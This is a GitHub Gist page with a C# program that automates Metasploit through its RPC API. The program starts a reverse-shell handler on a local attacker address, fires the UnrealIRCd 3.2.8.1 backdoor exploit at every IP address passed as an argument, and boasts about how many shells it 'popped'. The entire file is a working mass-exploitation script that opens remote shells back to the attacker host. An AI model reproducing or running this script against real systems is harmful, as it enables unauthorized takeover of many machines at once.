Last active
December 21, 2015 15:19
-
-
Save brandonprry/6325845 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using metasploitsharp; | |
using System.Collections.Generic; | |
namespace ModuleExecuteExample | |
{ | |
class MainClass | |
{ | |
public static void Main (string[] args) | |
{ | |
using (MetasploitSession session = new MetasploitSession("user", "pass", "http://127.0.0.1:55553/api")) { | |
if (string.IsNullOrEmpty (session.Token)) | |
throw new Exception ("Login failed. Check credentials"); | |
using (MetasploitManager manager = new MetasploitManager(session)) { | |
Dictionary<string, object> response = null; | |
Dictionary<string, object> blah = new Dictionary<string, object> (); | |
blah ["ExitOnSession"] = "false"; | |
blah ["PAYLOAD"] = "cmd/unix/reverse"; | |
blah ["LHOST"] = "192.168.1.31"; | |
blah ["LPORT"] = "4444"; | |
response = manager.ExecuteModule ("exploit", "multi/handler", blah); | |
object jobID = response ["job_id"]; | |
foreach (string ip in args) { | |
Dictionary<string, object> opts = new Dictionary<string, object> (); | |
opts ["RHOST"] = ip; | |
opts ["DisablePayloadHandler"] = "true"; | |
opts ["LHOST"] = "192.168.1.31"; | |
opts ["LPORT"] = "4444"; | |
opts ["PAYLOAD"] = "cmd/unix/reverse"; | |
response = manager.ExecuteModule ("exploit", "unix/irc/unreal_ircd_3281_backdoor", opts); | |
} | |
response = manager.ListJobs(); | |
List<object> vals = new List<object>(response.Values); | |
while (vals.Contains((object)"Exploit: unix/irc/unreal_ircd_3281_backdoor")) { | |
Console.WriteLine ("Waiting"); | |
System.Threading.Thread.Sleep (6000); | |
response = manager.ListJobs(); | |
vals = new List<object> (response.Values); | |
} | |
response = manager.StopJob(jobID.ToString()); | |
response = manager.ListSessions (); | |
Console.WriteLine ("I popped " + response.Count + " shells. Awesome."); | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment